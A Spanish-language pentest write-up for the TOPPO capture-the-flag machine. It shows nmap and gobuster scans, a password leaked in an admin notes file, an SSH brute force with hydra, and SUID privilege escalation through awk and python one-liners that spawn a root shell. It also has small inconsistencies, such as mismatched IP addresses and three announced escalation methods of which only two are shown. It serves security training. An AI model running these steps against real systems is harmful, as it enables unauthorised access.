**Informe de Pentesting y Análisis de Vulnerabilidades - Máquina TOPPO**

**Fecha: 1 de julio de 2023**

**Realizado Por: Msc. Angel R. Paz**

**Introducción**

El presente informe documenta los resultados obtenidos durante el proceso de pentesting y análisis de vulnerabilidades realizado en la máquina TOPPO. El objetivo principal de este proyecto fue evaluar la seguridad de la máquina CTF (Capture The Flag) y identificar posibles vulnerabilidades que podrían ser explotadas por atacantes malintencionados.

El informe está estructurado en diferentes secciones que cubren las distintas etapas del proceso de pentesting. Comenzamos con el escaneo de puertos y servicios para obtener una visión general de los servicios activos en la máquina. A continuación, se llevó a cabo un análisis de directorios y archivos ocultos en el sitio web de TOPPO para descubrir posibles puntos de entrada o información sensible expuesta.

Además, se exploraron posibles escalaciones de privilegios mediante la identificación de archivos con permisos de ejecución y el bit SUID activado. Estas acciones permitieron evaluar la robustez de los controles de seguridad implementados y determinar si existían posibles vulnerabilidades que podrían permitir a un atacante obtener acceso privilegiado.

Es importante destacar que todas las pruebas realizadas en este informe se llevaron a cabo dentro de un marco ético, con el consentimiento y autorización del propietario de la máquina TOPPO. El objetivo final es proporcionar recomendaciones para fortalecer la seguridad de la máquina y prevenir posibles incidentes de seguridad.

Es fundamental que las recomendaciones incluidas en este informe sean evaluadas y abordadas de manera adecuada. La seguridad de los sistemas es un proceso continuo y dinámico que requiere una atención constante. Se recomienda que se tomen las medidas necesarias para solucionar las vulnerabilidades identificadas y se realicen pruebas regulares para mantener un entorno seguro.

A continuación, se presentarán en detalle los resultados obtenidos durante el proceso de pentesting y análisis de vulnerabilidades, así como las recomendaciones correspondientes para mejorar la seguridad de la máquina TOPPO.

1. **Escaneo Nmap:**

Se realizó un escaneo de puertos y servicios en la máquina CTF TOPPO utilizando el comando nmap -sS -sV 192.168.2.103. Los resultados obtenidos fueron los siguientes:

* Puerto 22/tcp: Abierto. Servicio SSH (OpenSSH 6.7p1 Debian 5+deb8u4 - protocolo 2.0).
* Puerto 80/tcp: Abierto. Servicio HTTP (Apache httpd 2.4.10 - Debian).
* Puerto 111/tcp: Abierto. Servicio RPCBIND (RPC #100000).

***Comandos:***

* ***nmap -A <ip>***
* ***nmap -sS -sV <ip>***

1. **Búsqueda de directorios con Gobuster:**

Se utilizó el comando gobuster dir -u http://192.168.2.103/ -w /usr/share/wordlists/dirb/common.txt para buscar directorios y archivos ocultos en el sitio web de la máquina TOPPO. Los resultados obtenidos fueron los siguientes:

* /admin: Redirecciona a http://192.168.20.25/admin/ (Estado: 301, Tamaño: 314).
* /css: Redirecciona a http://192.168.20.25/css/ (Estado: 301, Tamaño: 312).
* /img: Redirecciona a http://192.168.20.25/img/ (Estado: 301, Tamaño: 312).
* /index.html: Disponible (Estado: 200, Tamaño: 6437).
* /js: Redirecciona a http://192.168.20.25/js/ (Estado: 301, Tamaño: 311).
* /LICENSE: Disponible (Estado: 200, Tamaño: 1093).
* /mail: Redirecciona a http://192.168.20.25/mail/ (Estado: 301, Tamaño: 313).
* /manual: Redirecciona a http://192.168.20.25/manual/ (Estado: 301, Tamaño: 315).
* /server-status: Acceso denegado (Estado: 403, Tamaño: 301).
* /vendor: Redirecciona a http://192.168.20.25/vendor/ (Estado: 301, Tamaño: 315).

***Comandos:***

* ***gobuster dir -u http://192.168.2.103/ -w /usr/share/wordlists/dirb/common.txt -x html,php,txt***

1. **Análisis del Directorio /admin:**

Dentro del directorio /admin se encontró un archivo llamado notes.txt que contiene la siguiente información:

Note to myself:

I need to change my password :/ 12345ted123 is too outdated but the technology isn't my thing. I prefer go fishing or watching soccer.

1. **Fuerza Bruta para obtener el Usuario**

Realizamos fuerza bruta con la herramienta hydra para obtener el usuario de la maquina TOPPO el cual fue:

host: 192.168.2.103 login: ted password: 12345ted123

***Comandos:***

* ***hydra -L uses.txt -p "12345ted123" ssh://192.168.20.25***

1. **Acceso a Maquina TOPPO**

Con las credenciales obtenidas en el paso anterior accedemos con el servicio ssh

***Comandos:***

* ***ssh ted@192.168.2.103***

1. **Escalación de privilegios:**

Se identificaron archivos en el sistema con permisos de ejecución establecidos para el usuario (owner) y con el bit de SUID (Set User ID) activado con el comando find / -perm -u=s -type f 2>/dev/null -ls. Los archivos encontrados fueron:

* /usr/bin/python2.7
* /usr/bin/mawk
* /usr/bin/procmail

Se exploraron tres formas de escalación de privilegios:

**Primera forma:** Utilizando nawk: nawk 'BEGIN {system("/bin/sh")}'.

**Segunda forma:** Utilizando Python: python -c 'import os; os.system("/bin/sh")'.

1. **Conclusiones:**

Basado en los resultados obtenidos, se han identificado las siguientes conclusiones:

* La máquina TOPPO cuenta con los servicios SSH y HTTP abiertos en los puertos 22/tcp y 80/tcp, respectivamente.
* Se encontraron directorios y archivos en el sitio web de la máquina TOPPO, lo que podría permitir un análisis adicional de posibles vulnerabilidades.
* El archivo notas.txt en el directorio /admin revela la existencia de un usuario llamado "ted" y la necesidad de cambiar la contraseña.
* Se identificaron archivos con permisos de ejecución y bit SUID activado en el sistema, lo que puede ofrecer oportunidades de escalación de privilegios.

1. **Recomendaciones:**

Basado en los hallazgos, se sugieren las siguientes recomendaciones:

* Realizar una evaluación más profunda de los directorios y archivos encontrados utilizando técnicas adicionales de análisis de vulnerabilidades.
* Cambiar la contraseña del usuario "ted" para evitar el uso de contraseñas débiles y obsoletas.
* Realizar una revisión exhaustiva de los archivos con permisos de ejecución y bit SUID activado para garantizar que no presenten vulnerabilidades que puedan ser explotadas.

Este informe resume los resultados obtenidos durante el proceso de pentesting y análisis de vulnerabilidades en la máquina TOPPO. Se recomienda tomar las medidas adecuadas para abordar las vulnerabilidades identificadas y garantizar la seguridad del sistema.